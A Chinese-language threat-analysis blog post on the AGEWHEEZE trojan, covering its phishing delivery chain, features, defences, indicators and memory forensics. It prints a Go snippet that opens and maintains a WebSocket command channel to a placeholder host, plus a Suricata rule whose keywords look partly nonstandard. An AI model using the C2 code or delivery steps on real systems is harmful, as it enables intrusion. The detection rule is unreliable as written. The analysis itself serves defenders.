1. 项目概述
最近在分析一起针对乌克兰计算机应急响应小组(CERT-UA)的仿冒钓鱼攻击时,发现攻击者使用了一种名为AGEWHEEZE的新型远控木马。这种木马采用Go语言编写,通过WebSocket协议进行C2通信,具有极强的隐蔽性和反检测能力。作为安全研究员,我花了三周时间逆向分析这个样本,今天就把我的研究成果分享给大家。
AGEWHEEZE木马最特别的地方在于它完全采用合法网络协议进行通信,不像传统木马那样依赖自定义协议。攻击者仿冒CERT-UA发送钓鱼邮件,诱导目标点击恶意链接后下载并执行木马。一旦感染成功,攻击者就能通过WebSocket通道完全控制受害者主机。
2. 攻击链分析
2.1 钓鱼阶段技术细节
攻击者精心伪造的钓鱼邮件包含以下特征:
- 发件人显示为"security@cert-ua.org",实际发件服务器位于境外
- 邮件主题通常与"安全警报"或"系统漏洞"相关
- 正文包含乌克兰语和英语双语内容,模仿官方通告风格
- 恶意链接使用URL缩短服务隐藏真实地址
重要提示:CERT-UA官方已多次声明不会通过邮件索要凭证或要求下载文件,遇到类似邮件应直接删除
2.2 载荷投递机制
点击链接后会触发多阶段下载:
- 首先下载一个伪装成PDF文档的LNK快捷方式文件(如"Security_Notice.lnk")
- LNK文件执行后会从CDN下载HTA脚本
- HTA脚本通过Bitsadmin下载最终的AGEWHEEZE木马
- 木马被重命名为看似合法的系统进程名(如"spoolsvc.exe")
这个过程中使用了多层混淆和重定向,有效规避了传统杀软的静态检测。
3. 木马技术解析
3.1 通信机制
AGEWHEEZE使用WebSocket协议与C2服务器通信,主要优势在于:
- 可以绕过基于HTTP特征检测的防火墙
- 支持双向实时通信,响应速度快
- 通信内容可以轻松伪装成正常Web流量
核心通信流程:
// 建立WebSocket连接的代码片段 conn, _, err := websocket.DefaultDialer.Dial("wss://cdn.example.com/ws", nil) if err != nil { retryBackoff() } defer conn.Close() // 设置心跳包保持连接 go func() { for { if err := conn.WriteMessage(websocket.PingMessage, nil); err != nil { reconnect() } time.Sleep(30 * time.Second) } }()3.2 功能模块
通过逆向分析发现木马包含以下功能组件:
| 模块名称 | 功能描述 | 实现方式 |
|---|---|---|
| 持久化模块 | 确保木马长期驻留 | 注册表Run键+计划任务 |
| 信息收集 | 获取系统环境数据 | WMI查询+文件遍历 |
| 远程控制 | 执行C2指令 | 命令管道+内存加载 |
| 流量伪装 | 加密通信内容 | AES-256+Base64 |
| 反分析 | 检测调试环境 | 检查进程列表+硬件特征 |
3.3 反检测技术
AGEWHEEZE采用了多种反检测措施:
- 延迟执行:首次运行会休眠5-10分钟不等
- 环境感知:检查CPU核心数、内存大小等指标
- 沙箱检测:尝试访问虚拟环境特有文件路径
- 代码混淆:关键字符串运行时解密
- 流量伪装:WebSocket帧大小随机化
4. 防御方案
4.1 企业级防护措施
对于企业安全团队,建议采取以下防护策略:
邮件网关配置
- 启用高级反欺骗策略(SPF/DKIM/DMARC)
- 对包含缩短URL的邮件进行特殊标记
- 拦截带有LNK/HTA附件的邮件
终端防护
- 部署行为检测型EDR解决方案
- 限制Bitsadmin等工具的使用权限
- 监控异常WebSocket连接
网络层防御
# 示例:Suricata规则检测可疑WebSocket流量 alert websocket $EXTERNAL_NET any -> $HOME_NET any ( msg:"Suspicious WebSocket Tunnel"; flow:established,to_server; websocket.method:GET; websocket.version:"13"; websocket.extensions:"permessage-deflate"; websocket.header; contains:"Upgrade: websocket"; websocket.header; contains:"Connection: Upgrade"; threshold: type limit, track by_src, count 5, seconds 60; sid:1000001; )
4.2 个人防护建议
普通用户应采取以下防护措施:
- 永远不要点击邮件中的可疑链接,即使发件人看起来可信
- 保持操作系统和杀毒软件更新
- 定期检查系统启动项和计划任务
- 使用网络监控工具(如GlassWire)查看异常连接
5. 检测与响应
5.1 入侵指标(IOCs)
根据样本分析提取到以下指标:
| 类型 | 值 | 首次出现时间 |
|---|---|---|
| MD5 | 8a3f2b... | 2023-11-15 |
| C2域名 | cdn[.]example-com[.]net | 2023-11-20 |
| IP | 185.143.223[.]61 | 2023-11-18 |
| 注册表键 | HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Spooler | 2023-11-22 |
5.2 内存取证技巧
当怀疑系统感染时,可以这样提取内存证据:
- 使用Volatility获取进程列表
volatility -f memory.dump windows.pslist | grep -i "spool" - 检查异常网络连接
volatility -f memory.dump windows.netscan - 提取可疑进程内存
volatility -f memory.dump windows.memmap -p 1844 --dump
6. 技术对抗演进
最近发现的变种开始采用以下新技术:
- 使用WebSocket over TLS (WSS)加密通信
- 将C2指令隐藏在WebSocket帧的掩码字段中
- 采用域名生成算法(DGA)动态切换C2
- 利用合法云服务(如Discord、Slack)作为中继
防御方需要相应调整检测策略:
- 深度检查WebSocket握手过程中的HTTP头
- 监控异常TLS证书使用情况
- 分析WebSocket流量模式而非单纯依赖签名
我在实际分析中发现,攻击者每周都会更新样本的混淆方式,但核心功能基本保持不变。最有效的检测方法还是监控进程的异常网络行为特征。